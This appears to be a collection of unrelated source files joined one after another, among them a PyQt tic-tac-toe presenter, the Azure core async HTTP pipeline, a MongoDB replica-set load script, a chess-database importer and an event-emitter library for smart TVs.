{{yield this}}
{{/if}}
```
Example (`hasBlockParams` will be `true`):
```hbs
{{! templates/application.hbs }}
{{#foo-bar as |foo|}}
Hi!
{{/foo-bar}}
{{! templates/components/foo-bar.js }}
{{#if hasBlockParams}}
This will be printed because a block was provided
{{yield this}}
{{/if}}
```
@public
@property hasBlockParams
@returns Boolean
*/
hasBlockParams: bool('template.blockParams')
});
}
export default Component;
|
from PyQt5 import QtWidgets, QtGui
from game import Machine
from player import Player, HumanPlayer
import sys
import threading
import const
import view
class Presenter:
def __init__(self, _view: view.View):
self.view = _view
self.games = 0
self.isTraining = False
self.player2 = HumanPlayer("p2", -1)
self.player1 = Player("pl", 1)
self.player1.load_policy(const.POLICY1)
self.machine = None
self.game_type = ""
self.disabled_action = True # disable ability to click on board
self.t = None # thread
self.mode = -1
def setup(self):
self.view.statusbar.showMessage(self.game_type)
self.machine = Machine(self.player1,
self.player2,
self.computer_action,
self.show_winner_nodes,
self.update_score)
def new_game(self):
if threading.active_count() > 1: # it prevents from clicking many times button 'new game'
return # and creating too many useless threads
self.game_type = const.GAME_TYPE_1
self.disabled_action = False
if isinstance(self.player2, Player):
self.player2 = HumanPlayer("p2", self.mode)
if self.t is not None and self.t.stopped() is False:
self.t.stop()
self.clean_board()
self.setup()
self.t = StoppableThread(target=self.start_human_vs_comp, reset=self.machine.set_end)
self.t.daemon = True # kill this thread when main thread is killed
self.t.start()
def comp_vs_comp(self):
if threading.active_count() > 1:
return
self.game_type = const.GAME_TYPE_2
self.disabled_action = True
self.change_to_cross(None)
self.player2 = Player("p2", -1)
self.player2.load_policy(const.POLICY2) # load second computer player
self.clean_board()
if self.t is not None and self.t.stopped() is False:
self.t.stop()
self.setup()
self.t = StoppableThread(target=self.start_comp_vs_comp, reset=self.machine.set_end)
self.t.daemon = True # kill this thread when main thread is killed
self.t.start()
def training(self):
if self.game_type == const.GAME_TYPE_3:
return
self.game_type = const.GAME_TYPE_3
self.disabled_action = True
self.player2 = Player("p_training2", -1)
self.player1 = Player("p_training1", 1)
self.clean_board()
self.reset_score()
if self.t is not None and self.t.stopped() is False:
self.t.stop()
self.setup()
self.t = StoppableThread(target=self.start_training, reset=self.machine.set_end)
self.t.daemon = True
self.t.start()
def start_training(self):
self.isTraining = True
self.machine.play(5000)
self.player1.save_policy()
self.player2.save_policy()
self.new_game()
self.isTraining = False
def start_human_vs_comp(self):
if self.mode != 1:
self.machine.play2()
else:
self.machine.play4()
def start_comp_vs_comp(self):
self.machine.play3()
def show_winner_nodes(self, switch: int, pos: int = 0):
if switch == 0: # row
for i in range(3):
self.view.board[pos * 3 + i].mark_as_winner()
elif switch == 1: # column
for i in range(3):
self.view.board[i * 3 + pos].mark_as_winner()
elif switch == 2: # diagonal \
for i in range(3):
self.view.board[i * 4].mark_as_winner()
elif switch == 3: # diagonal /
for i in range(3):
self.view.board[(i + 1) * 2].mark_as_winner()
def show(self):
app = QtWidgets.QApplication(sys.argv)
app.setWindowIcon(QtGui.QIcon('graphic/icon.ico'))
MainWindow = QtWidgets.QMainWindow()
self.view.setupUi(MainWindow)
MainWindow.show()
sys.exit(app.exec_())
def update_score(self, winner):
self.disabled_action = True # disable ability to click on board after match is finished
if self.player2.symbol == 1:
nought = self.player2
cross = self.player1
else:
cross = self.player2
nought = self.player1
if winner == 1:
nought.score += 1
self.view.circle_score.setText(str(nought.score))
self.view.statusbar.showMessage("Nought win!")
elif winner == -1:
cross.score += 1
self.view.cross_score.setText(str(cross.score))
self.view.statusbar.showMessage("Cross win!")
else:
self.view.statusbar.showMessage("Tie!")
self.games += 1
self.view.games_label.setText(str(self.games))
def computer_action(self, action, symbol: int):
a = int(action[0])
b = int(action[1])
index = a * 3 + b
self.view.board[index].action(symbol)
def action(self, i_node: int):
if self.disabled_action:
return
self.view.board[i_node].action(self.player2.symbol)
self.player2.click(i_node)
def clean_board(self):
for node in self.view.board:
node.reset()
def reset_score(self):
self.view.circle_score.setText("0")
self.view.cross_score.setText("0")
self.games = 0
self.view.games_label.setText(str(self.games))
def change_to_circle(self, event):
"""Human play first"""
if self.isTraining: return # don't allow to change who play first during training
if self.player2.symbol == 1: return
self.mode = 1
self.player2.symbol = 1 # change human player's letter to circle
self.player1.symbol = -1
self.player1.load_policy(const.POLICY2)
self.view.statusbar.showMessage("You play circle")
def change_to_cross(self, event):
"""Computer play first"""
if self.isTraining: return # don't allow to change who play first during training
if self.player2.symbol == -1: return
self.mode = -1
self.player2.symbol = -1
self.player1.symbol = 1
self.player1.load_policy(const.POLICY1)
self.view.statusbar.showMessage("You play cross")
def exit(self):
exit()
class StoppableThread(threading.Thread):
def __init__(self, target, reset):
super(StoppableThread, self).__init__(target=target)
self._stop_event = threading.Event()
self.reset = reset
def stop(self):
self.reset()
self._stop_event.set()
def stopped(self):
return self._stop_event.is_set()
|
//
// TPRecordModel.h
// VideoIphone
//
// Created by 吴凯凯 on 2019/6/24.
// Copyright © 2019 com.baidu. All rights reserved.
//
#ifdef __arm64__
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
NS_ASSUME_NONNULL_BEGIN
@interface TPRecordModel : NSObject <NSCopying>
@property (nonatomic, strong)Class cls;
@property (nonatomic)SEL sel;
@property (nonatomic, assign)uint64_t costTime; //单位:纳秒(百万分之一秒)
@property (nonatomic, assign)int depth;
// 辅助堆栈排序
@property (nonatomic, assign)int total;
@property (nonatomic)BOOL isUsed;
//call 次数
@property (nonatomic, assign)int callCount;
- (instancetype)initWithCls:(Class)cls sel:(SEL)sel time:(uint64_t)costTime depth:(int)depth total:(int)total;
- (BOOL)isEqualRecordModel:(TPRecordModel *)model;
@end
NS_ASSUME_NONNULL_END
#endif
|
# --------------------------------------------------------------------------
#
# Copyright (c) Microsoft Corporation. All rights reserved.
#
# The MIT License (MIT)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the ""Software""), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
#
# --------------------------------------------------------------------------
import abc
from typing import Any, Union, List, Generic, TypeVar
from azure.core.pipeline import PipelineRequest, PipelineResponse, PipelineContext
from azure.core.pipeline.policies import AsyncHTTPPolicy, SansIOHTTPPolicy
AsyncHTTPResponseType = TypeVar("AsyncHTTPResponseType")
HTTPRequestType = TypeVar("HTTPRequestType")
ImplPoliciesType = List[AsyncHTTPPolicy[HTTPRequestType, AsyncHTTPResponseType]] #pylint: disable=unsubscriptable-object
AsyncPoliciesType = List[Union[AsyncHTTPPolicy, SansIOHTTPPolicy]]
try:
from contextlib import AbstractAsyncContextManager # type: ignore
except ImportError: # Python <= 3.7
class AbstractAsyncContextManager(object): # type: ignore
async def __aenter__(self):
"""Return `self` upon entering the runtime context."""
return self
@abc.abstractmethod
async def __aexit__(self, exc_type, exc_value, traceback):
"""Raise any exception triggered within the runtime context."""
return None
async def _await_result(func, *args, **kwargs):
"""If func returns an awaitable, await it."""
result = func(*args, **kwargs)
if hasattr(result, '__await__'):
# type ignore on await: https://github.com/python/mypy/issues/7587
return await result # type: ignore
return result
class _SansIOAsyncHTTPPolicyRunner(AsyncHTTPPolicy[HTTPRequestType, AsyncHTTPResponseType]): #pylint: disable=unsubscriptable-object
"""Async implementation of the SansIO policy.
Modifies the request and sends to the next policy in the chain.
:param policy: A SansIO policy.
:type policy: ~azure.core.pipeline.policies.SansIOHTTPPolicy
"""
def __init__(self, policy: SansIOHTTPPolicy) -> None:
super(_SansIOAsyncHTTPPolicyRunner, self).__init__()
self._policy = policy
async def send(self, request: PipelineRequest) -> PipelineResponse:
"""Modifies the request and sends to the next policy in the chain.
:param request: The PipelineRequest object.
:type request: ~azure.core.pipeline.PipelineRequest
:return: The PipelineResponse object.
:rtype: ~azure.core.pipeline.PipelineResponse
"""
await _await_result(self._policy.on_request, request)
try:
response = await self.next.send(request) # type: ignore
except Exception: #pylint: disable=broad-except
if not await _await_result(self._policy.on_exception, request):
raise
else:
await _await_result(self._policy.on_response, request, response)
return response
class _AsyncTransportRunner(AsyncHTTPPolicy[HTTPRequestType, AsyncHTTPResponseType]): #pylint: disable=unsubscriptable-object
"""Async Transport runner.
Uses specified HTTP transport type to send request and returns response.
:param sender: The async Http Transport instance.
"""
def __init__(self, sender) -> None:
super(_AsyncTransportRunner, self).__init__()
self._sender = sender
async def send(self, request):
"""Async HTTP transport send method.
:param request: The PipelineRequest object.
:type request: ~azure.core.pipeline.PipelineRequest
:return: The PipelineResponse object.
:rtype: ~azure.core.pipeline.PipelineResponse
"""
return PipelineResponse(
request.http_request,
await self._sender.send(request.http_request, **request.context.options),
request.context
)
class AsyncPipeline(AbstractAsyncContextManager, Generic[HTTPRequestType, AsyncHTTPResponseType]):
"""Async pipeline implementation.
This is implemented as a context manager, that will activate the context
of the HTTP sender.
:param transport: The async Http Transport instance.
:param list policies: List of configured policies.
Example:
.. literalinclude:: ../examples/test_example_async.py
:start-after: [START build_async_pipeline]
:end-before: [END build_async_pipeline]
:language: python
:dedent: 4
:caption: Builds the async pipeline for asynchronous transport.
"""
def __init__(self, transport, policies: AsyncPoliciesType = None) -> None:
self._impl_policies = [] # type: ImplPoliciesType
self._transport = transport
for policy in (policies or []):
if isinstance(policy, SansIOHTTPPolicy):
self._impl_policies.append(_SansIOAsyncHTTPPolicyRunner(policy))
elif policy:
self._impl_policies.append(policy)
for index in range(len(self._impl_policies)-1):
self._impl_policies[index].next = self._impl_policies[index+1]
if self._impl_policies:
self._impl_policies[-1].next = _AsyncTransportRunner(self._transport)
def __enter__(self):
raise TypeError("Use 'async with' instead")
def __exit__(self, exc_type, exc_val, exc_tb):
# __exit__ should exist in pair with __enter__ but never executed
pass # pragma: no cover
async def __aenter__(self) -> 'AsyncPipeline':
await self._transport.__aenter__()
return self
async def __aexit__(self, *exc_details): # pylint: disable=arguments-differ
await self._transport.__aexit__(*exc_details)
async def run(self, request: PipelineRequest[HTTPRequestType], **kwargs: Any):
"""Runs the HTTP Request through the chained policies.
:param request: The HTTP request object.
:type request: ~azure.core.pipeline.transport.HttpRequest
:return: The PipelineResponse object.
:rtype: ~azure.core.pipeline.PipelineResponse
"""
context = PipelineContext(self._transport, **kwargs)
pipeline_request = PipelineRequest(request, context)
first_node = self._impl_policies[0] if self._impl_policies else _AsyncTransportRunner(self._transport)
return await first_node.send(pipeline_request) # type: ignore
|
const fs = require('fs');
const path = require('path');
const mkdirp = require('mkdirp');
const _ = require('lodash');
const GithubAPI = require('@octokit/rest');
const fetch = {
loaders: [
{
organization: 'webpack-contrib',
suffixes: ['-loader'],
hides: ['webpack-contrib/config-loader']
},
'babel/babel-loader',
'postcss/postcss-loader',
'peerigon/extract-loader'
],
plugins: [
{
organization: 'webpack-contrib',
suffixes: ['-webpack-plugin', '-extract-plugin'],
hides: ['webpack-contrib/component-webpack-plugin']
}
]
};
const api = new GithubAPI();
async function paginate (org) {
let response = await api.repos.listForOrg({ org, type: 'public', per_page: 100});
let {data} = response;
while (api.hasNextPage(response)) {
response = await api.getNextPage(response);
data = data.concat(response.data);
}
return data;
}
async function main() {
mkdirp.sync(path.resolve(__dirname, '../../repositories/'));
for (const [type, collection] of Object.entries(fetch)) {
const result = await Promise.all(collection.map(async (item) => {
if (typeof item === 'string') {
return item;
}
const { organization, suffixes, hides } = item;
const repos = await paginate(organization);
return repos
.map(repo => repo.full_name)
.filter(name => suffixes.some(suffix => name.endsWith(suffix)))
.filter(name => !hides.includes(name));
}));
const json = JSON.stringify(_.flatten(result), undefined, 2);
const jsonPath = path.resolve(__dirname, `../../repositories/${type}.json`);
fs.writeFile(jsonPath, json, (err) => {
if (err) {
throw err;
}
});
}
}
main();
|
/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is JavaScript Engine testing utilities.
*
* The Initial Developer of the Original Code is
* Mozilla Foundation.
* Portions created by the Initial Developer are Copyright (C) 2008
* the Initial Developer. All Rights Reserved.
*
* Contributor(s): David Greenspan
*
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
*
* ***** END LICENSE BLOCK ***** */
//-----------------------------------------------------------------------------
var BUGNUMBER = 477758;
var summary = 'TM: RegExp source';
var actual = '';
var expect = '';
//-----------------------------------------------------------------------------
test();
//-----------------------------------------------------------------------------
function test()
{
enterFunc ('test');
printBugNumber(BUGNUMBER);
printStatus (summary);
jit(true);
function map(array, func) {
var result = [];
for(var i=0;i<array.length;i++) {
result.push(func(array[i]));
}
return result;
}
function run() {
var patterns = [/foo/, /bar/];
function getSource(r) { return r.source; }
var patternStrings = map(patterns, getSource);
print(actual += [patterns[0].source, patternStrings[0]] + '');
}
expect = 'foo,foo';
for (var i = 0; i < 4; i++)
{
actual = '';
run();
reportCompare(expect, actual, summary + ': ' + i);
}
jit(false);
exitFunc ('test');
}
|
var mongodb = require("../../lib/mongodb"),
ReplicaSetManager = require('../../test/tools/replica_set_manager').ReplicaSetManager;
var options = {
auto_reconnect: true,
poolSize: 4,
socketOptions: { keepAlive: 100, timeout:30000 }
};
var userObjects = [];
var counter = 0;
var counter2 = 0;
var maxUserId = 10000;
// Build user array
for(var i = 0; i < 122; i++) {
userObjects.push({a:true, b:true});
}
RS = new ReplicaSetManager({retries:120, secondary_count:1, passive_count:0, arbiter_count:1});
RS.startSet(true, function(err, result) {
// Replica configuration
var replSet = new mongodb.ReplSetServers( [
new mongodb.Server( RS.host, RS.ports[1], { auto_reconnect: true } ),
new mongodb.Server( RS.host, RS.ports[0], { auto_reconnect: true } ),
new mongodb.Server( RS.host, RS.ports[2], { auto_reconnect: true } )
],
{rs_name:RS.name, read_secondary:true, readPreference:mongodb.Server.READ_SECONDARY}
);
var collA;
var collB;
var db = new mongodb.Db("data", replSet);
db.open(function(err, client){
console.log("Connected");
if(err != null) {
console.dir(err);
return;
}
var userCollection = client.collection('users');
var accountCollection = client.collection('accounts');
// Generate a bunch of fake accounts
var accountDocs = [];
for(var i = 0; i < 10000; i++) {
accountDocs.push({
account_id:i,
'somedata': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad',
'somedata2': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad',
'somedata3': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad',
'somedata4': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad',
'somedata5': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad',
'somedata6': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad',
'somedata7': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad',
'somedata8': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad',
'somedata9': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad'
})
}
// Generate a bunch of false users
var userDocs = [];
for(var i = 0; i < maxUserId; i++) {
// Generate a random number of account ids
var numberOfAccounts = Math.floor(Math.random(10000));
// Generate an array of random numbers
var accountIds = [];
for(var j = 0; j < numberOfAccounts; j++) {
numberOfAccounts.push(Math.floor(Math.random(10000)));
}
// Generate a user
userDocs.push({
user_id:i,
ids:accountIds,
'somedata': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad',
'somedata2': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad',
'somedata3': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad',
'somedata4': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad',
'somedata5': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad',
'somedata6': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad',
'somedata7': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad',
'somedata8': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad',
'somedata9': 'dfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaaddfdfdsaaad'
})
}
// Insert all the docs
userCollection.insert(userDocs, {safe:true}, function(err, result) {
console.dir(err);
accountCollection.insert(accountDocs, {safe:true}, function(err, result) {
console.dir(err);
var timeoutFunc = function() {
lookup(function(err, result) {
console.log("-------------------------------------------- lookedup :: " + counter);
counter = counter + 1;
process.nextTick(timeoutFunc, 1);
});
}
process.nextTick(timeoutFunc, 1);
});
});
});
function lookup(cb){
// Locate a random user
db.collection('users', function(err, userCollection) {
userCollection.findOne({user_id:Math.floor(Math.random(maxUserId))}, function(err, user) {
if(err == null && user != null) {
console.log("-------------------------------------------- findOne");
// Fetch all the accounts
db.collection('accounts', function(err, accountCollection) {
accountCollection.find({account_id:{$in:user.ids}}).toArray(function(err, accounts) {
if(err == null && accounts != null) {
console.log("-------------------------------------------- findAccounts :: " + accounts.length);
cb(null, null);
} else {
console.log("-------------------------------------------- findAccounts ERROR");
cb(err, null);
}
});
});
} else {
console.log("-------------------------------------------- findOne ERROR");
cb(err, null);
}
});
});
}
});
|
r=int(input("enter the range"))
l=[]
for i in range(r):
s=i**2
l.append(s)
print(l)
|
# chessunqlitedu.py
# Copyright 2019 Roger Marsh
# Licence: See LICENCE (BSD licence)
"""Chess database update using custom deferred update for unqlite.
"""
import os
import bz2
import subprocess
import sys
from solentware_base import unqlitedu_database
from solentware_base.core.constants import FILEDESC
from solentware_base.core.segmentsize import SegmentSize
from ..core.filespec import (
FileSpec,
GAMES_FILE_DEF,
)
from ..core.chessrecord import ChessDBrecordGameImport
_platform_win32 = sys.platform == "win32"
_python_version = ".".join(
(str(sys.version_info[0]), str(sys.version_info[1]))
)
class ChessunqliteduError(Exception):
pass
def chess_unqlitedu(
dbpath, pgnpaths, file_records, reporter=lambda text, timestamp=True: None
):
"""Open database, import games and close database."""
cdb = ChessDatabase(dbpath, allowcreate=True)
importer = ChessDBrecordGameImport()
cdb.open_database()
cdb.set_defer_update()
for pp in pgnpaths:
s = open(pp, "r", encoding="iso-8859-1")
importer.import_pgn(cdb, s, pp, reporter=reporter)
s.close()
if reporter is not None:
reporter("Finishing import: please wait.")
reporter("", timestamp=False)
cdb.do_final_segment_deferred_updates()
cdb.unset_defer_update()
cdb.close_database()
# There are no recoverable file full conditions for unqlite (see DPT).
return True
class ChessDatabase(unqlitedu_database.Database):
"""Provide custom deferred update for a database of games of chess."""
# The optimum chunk size is the segment size.
# Assuming 2Gb memory:
# A default FreeBSD user process will not cause a MemoryError exception for
# segment sizes up to 65536 records, so the optimum chunk size defined in
# the superclass will be selected.
# A MS Windows XP process will cause the MemoryError exeption which selects
# the 32768 game chunk size.
# A default OpenBSD user process will cause the MemoryError exception which
# selects the 16384 game chunk size.
# The error log problem fixed at chesstab-0.41.9 obscured what was actually
# happening: OpenBSD gives a MemoryError exception but MS Windows XP heads
# for thrashing swap space in some runs with a 65536 chunk size (depending
# on order of processing indexes I think). Windows 10 Task Manager display
# made this obvious.
# The MemoryError exception or swap space thrashing will likely not occur
# for a default OpenBSD user process or a MS Windows XP process with segment
# sizes up to 32768 records. Monitoring with Top and Task Manager suggests
# it gets close with OpenBSD.
if SegmentSize.db_segment_size > 32768:
for f, m in ((4, 700000000), (2, 1400000000)):
try:
b" " * m
except MemoryError:
# Override the value in the superclass.
deferred_update_points = frozenset(
[
i
for i in range(
65536 // f - 1,
SegmentSize.db_segment_size,
65536 // f,
)
]
)
break
del f, m
def __init__(self, unqlitefile, **kargs):
"""Define chess database.
**kargs
allowcreate == False - remove file descriptions from FileSpec so
that superclass cannot create them.
Other arguments are passed through to superclass __init__.
"""
names = FileSpec(**kargs)
if not kargs.get("allowcreate", False):
try:
for t in names:
if FILEDESC in names[t]:
del names[t][FILEDESC]
except:
if __name__ == "__main__":
raise
else:
raise ChessunqliteduError("unqlite description invalid")
try:
super(ChessDatabase, self).__init__(names, unqlitefile, **kargs)
except ChessunqliteduError:
if __name__ == "__main__":
raise
else:
raise ChessunqliteduError("unqlite description invalid")
def open_context_prepare_import(self):
"""Return True.
No preparation actions thet need database open for unqlite.
"""
return True
def get_archive_names(self, files=()):
"""Return unqlite database file and existing operating system files."""
names = [self.database_file]
exists = [
os.path.basename(n)
for n in names
if os.path.exists(".".join((n, "bz2")))
]
return (names, exists)
def archive(self, flag=None, names=None):
"""Write a bz2 backup of file containing games.
Intended to be a backup in case import fails.
"""
if names is None:
return False
if not self.delete_archive(flag=flag, names=names):
return
if flag:
for n in names:
c = bz2.BZ2Compressor()
archiveguard = ".".join((n, "grd"))
archivename = ".".join((n, "bz2"))
fi = open(n, "rb")
fo = open(archivename, "wb")
inp = fi.read(10000000)
while inp:
co = c.compress(inp)
if co:
fo.write(co)
inp = fi.read(10000000)
co = c.flush()
if co:
fo.write(co)
fo.close()
fi.close()
c = open(archiveguard, "wb")
c.close()
return True
def delete_archive(self, flag=None, names=None):
"""Delete a bz2 backup of file containing games."""
if names is None:
return False
if flag:
for n in names:
archiveguard = ".".join((n, "grd"))
archivename = ".".join((n, "bz2"))
try:
os.remove(archiveguard)
except:
pass
try:
os.remove(archivename)
except:
pass
return True
def add_import_buttons(self, *a):
"""Add button actions for Berkeley DB to Import dialogue.
None required. Method exists for DPT compatibility.
"""
pass
def get_file_sizes(self):
"""Return an empty dictionary.
No sizes needed. Method exists for DPT compatibility.
"""
return dict()
def report_plans_for_estimate(self, estimates, reporter):
"""Remind user to check estimated time to do import.
No planning needed. Method exists for DPT compatibility.
"""
# See comment near end of class definition Chess in relative module
# ..gui.chess for explanation of this change.
# reporter.append_text_only(''.join(
# ('The expected duration of the import may make starting ',
# 'it now inconvenient.',
# )))
# reporter.append_text_only('')
|
(function (window) {
"use strict";
if (!Array.prototype.indexOf) {
Array.prototype.indexOf = function (searchElement, fromIndex) {
if ( this === undefined || this === null ) {
throw new TypeError( '"this" is null or not defined' );
}
var length = this.length >>> 0; // Hack to convert object.length to a UInt32
fromIndex = +fromIndex || 0;
if (Math.abs(fromIndex) === Infinity) {
fromIndex = 0;
}
if (fromIndex < 0) {
fromIndex += length;
if (fromIndex < 0) {
fromIndex = 0;
}
}
for (;fromIndex < length; fromIndex++) {
if (this[fromIndex] === searchElement) {
return fromIndex;
}
}
return -1;
};
}
var eventSplitter = /\s+/,
namespaceSplitter = '.',
Events;
function makeBind(event, fn, context, isSignal) {
var arr = event.split(namespaceSplitter);
return {
c: context,
s: isSignal,
fn: fn,
n: arr[0],
ns: arr.slice(1)
};
}
function compare(request, target) {
var compared = (!request.fn || request.fn === target.fn)
&& (!request.n || request.n === target.n)
&& (!request.c || request.c === target.c),
requestNs = request.ns,
ns2;
//compare namespaces
if (compared) {
if (requestNs.length) {
compared = false;
ns2 = target.ns;
for (var i= 0; i < requestNs.length; i++) {
if (ns2.indexOf(requestNs[i]) !== -1) {
compared = true;
break;
}
}
}
}
return compared;
}
function remove(me, event, fn, context) {
var bind;
if (!me._listeners) {
return;
}
if (!event && !fn && !context) {
delete me._listeners;
return;
}
bind = makeBind(event, fn, context);
if (!bind.ns.length && !fn && !context) {
delete me._listeners[bind.n];
return;
}
if (bind.n && !me._listeners[bind.n]) {
return;
}
var listeners = {},
binds;
if (bind.n) {
listeners[bind.n] = me._listeners[bind.n];
} else {
listeners = me._listeners;
}
for (var bindName in listeners) {
binds = listeners[bindName];
for (var i = 0; i < binds.length; i++) {
if (compare(bind, binds[i])) {
binds.splice(i, 1);
i--;
}
}
}
}
Events = function() {
this._listeners = {};
};
var proto = Events.prototype;
proto.on = function (events, fn, context, callOnce) {
var eventNames;
if (typeof events === 'object') {
context = fn || this;
for (var eventName in events) {
this.on(eventName, events[eventName], context, callOnce);
}
return this;
}
if (typeof fn !== 'function') {
throw new TypeError('function expected');
}
context = context || this;
eventNames = events.split(eventSplitter);
eventNames.forEach(function (eventName) {
var bind = makeBind(eventName, fn, context, callOnce),
binds = this._listeners || {},
curBind = binds[bind.n] || [];
curBind.push(bind);
binds[bind.n] = curBind;
this._listeners = binds;
}, this);
return this;
};
proto.one = function (events, fn, context) {
return this.on(events, fn, context, true);
};
proto.off = function ( events, fn, context ) {
var eventNames;
if (!events) {
remove(this, '', fn, context);
} else {
eventNames = events.split(eventSplitter);
for (var i = 0, l = eventNames.length; i < l; i++) {
remove(this, eventNames[i], fn, context);
}
}
return this;
};
proto.fire = function (events) {
if (!this._listeners) {
return this;
}
var args = Array.prototype.slice.call(arguments,1),
me = this,
eventNames,
bind,
bindsArray,
bindObject;
eventNames = events.split(eventSplitter);
for (var i = 0, l = eventNames.length; i < l; i++) {
bind = makeBind(eventNames[i], false, false);
if (bind.n) {
bindsArray = me._listeners[bind.n];
if (!bindsArray) {
return this;
}
for (var j = 0; j < bindsArray.length; j++) {
bindObject = bindsArray[j];
if (!bind.ns.length || compare(bind, bindObject)) {
bindObject.fn.apply(bindObject.c, args);
// delete handler, if it was 'one'
if (bindObject.s) {
bindsArray.splice(j, 1);
j--;
}
}
}
} else {
throw 'not implemented';
}
}
return me;
};
Events.prototype.trigger = Events.prototype.fire;
window.SBEvents = Events;
}(this));
;(function (_global) {
var _ready = false,
readyCallbacks = [],
userAgent = navigator.userAgent.toLowerCase(),
Smartbox;
//private func for applying all ready callbacks
function onReady() {
var cb, scope;
_ready = true;
for ( var i = 0, len = readyCallbacks.length; i < len; i++ ) {
cb = readyCallbacks[i][0];
scope = readyCallbacks[1];
if (typeof cb === 'function') {
cb.call(scope);
}
}
// no need anymore
readyCallbacks = null;
}
/**
* Detecting current platform
* @returns {boolean} true if running on current platform
*/
function detect ( slug ) {
return userAgent.indexOf(slug) !== -1;
}
function initialize() {
Smartbox.setPlugins();
Smartbox.getDUID();
// wait for calling others $()
setTimeout(function () {
onReady();
onReady = null;
}, 10);
}
var extend = (function(){
if (_global._) {
return _global._.extend
} else {
return $.extend
}
})();
Smartbox = function ( platform, cb, scope ) {
if ( typeof platform === 'string' ) {
Smartbox.readyForPlatform(platform, cb, scope);
} else if ( typeof platform === 'function' ) {
scope = cb;
cb = platform;
Smartbox.ready(cb, scope);
}
};
/**
* Version of smartbox
* @type {number}
*/
Smartbox.version = 0.2;
/**
* Current platform name
* @type {string} default, samsung, lg, etc
*/
Smartbox.platformName = '';
/**
* User agent of current platform
* @type {string}
*/
Smartbox.userAgent = userAgent;
/**
* Calling cb after Smartbox ready
* @param cb {function} callback
* @param scope {object} scope for callback calling
*/
Smartbox.ready = function ( cb, scope ) {
scope = scope || _global;
if ( _ready ) {
